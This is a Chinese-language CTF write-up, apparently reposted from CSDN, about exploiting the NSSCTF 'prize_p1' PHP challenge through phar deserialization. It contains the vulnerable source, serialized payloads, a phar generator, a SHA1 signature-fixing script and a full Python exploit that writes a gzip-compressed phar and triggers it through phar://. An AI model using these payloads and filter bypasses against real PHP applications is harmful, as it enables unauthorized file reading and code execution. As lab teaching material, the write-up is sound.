ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[phar反序列化][NSSCTF]prize_p1

2021-10-16 13:58:51  阅读:560  来源: 互联网

标签:__ prize phar destruct file 序列化 data


prize_p1

考点:phar反序列化

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        echo getenv("FLAG");
    }
}

class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

前置

__destruct(),类的析构函数
1 主动调用unset($obj)
2 主动调用$obj = NULL
3 程序自动结束

分析代码,其中getflag__destruct方法触发即可得到flag,A__destruct方法触发即可写/tmp/a.txt或者任意文件读。

第一步:绕过异常

当程序抛出异常时,__destruct方法不会执行,也就无法实现文件的写入。

a:2:{i:0;O:4:"test":0:{};i:0;N}
//先将对象赋值给数组0建,再将0赋给另一个值,那么对象就失去了引用

同理

O:1:"A":{s:6:"config";s:1:"w";}

由于unserialize($_GET[0]);没有被引用,相当于unset,那么就可以绕过异常执行__destruct

第二步:phar://反序列化

正则表达式过滤了伪协议,若直接phar反序列化,那么反序列化对象中依旧会有明文。

https://guokeya.github.io/post/uxwHLckwx

在该文章中提到,有五种能触发phar的操作,我们通过将phar文件压缩为另一种文件格式,这样反序列化依旧能够触发并且数据中不会出现明文从而绕过正则表达式

普通phar
gzip
bzip2
tar
zip

第三步:绕过异常

如果我们直接在phar文件的Metadata写getflag对象的话,是不能进行反序列化的,因为它反序列化之后会被phar对象的metadata属性引用,不符合unset情况,也就不会直接执行__destruct

这里,我们就需要利用GC(Collecting Cycles)来进行执行__destruct

a:2:{i:0;O:7:"getflag":{}i:0;N;}

​ 考虑反序列化本字符串,我们可以发现,因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为getflag对象,同时我们又将Array[0]设置为null,这样前面的getflag对象便丢失了引用,就会被GC所捕获,便可以执行__destruct了。

第四步:phar签名修改

我们需要在phar文件中写入这样一个字符串

a:2:{i:0;O:7:"getflag":{}i:0;N;}

直接serialize是不行的,因为在序列化之前属性就已经固定了

a:2:{i:0;O:7:"getflag":{}i:1;N;}

我们可以先生成如上序列化字符串,再想办法将i改成0。但是如果直接修改的话会因为签名错误而报错,那么我们可以修改签名

phar签名数据

image-20211016113857672

示例:sha1签名修复

from hashlib import sha1
f = open('./ph1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件

生成phar文件

<?php
class getflag{

}

$c=new getflag();
$phar = new Phar("ph1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata([0=>$c,1=>NULL]); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

修改i的值为0,修复签名

image-20211016133814660

最后exp

import requests
import gzip
import re

url = 'http://10258-30c3625a-13f9-489f.nss.ctfer.vip:9080/'

file = open("./ph2.phar", "rb") #打开文件
file_out = gzip.open("./phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()

requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'

    },
    data={
        0: open('./phar.zip', 'rb').read()
    }
) # 写入

res = requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
    },
    data={
        0: 'phar://tmp/a.txt'
    }
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)

其他思路:

  • file_put_contents 数组绕过

  • 可以抛弃的签名—phar文件签名非必需

参考链接:

https://www.ctfer.vip/#/note/set/wp/33

标签:__,prize,phar,destruct,file,序列化,data
来源: https://blog.csdn.net/cosmoslin/article/details/120797688

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有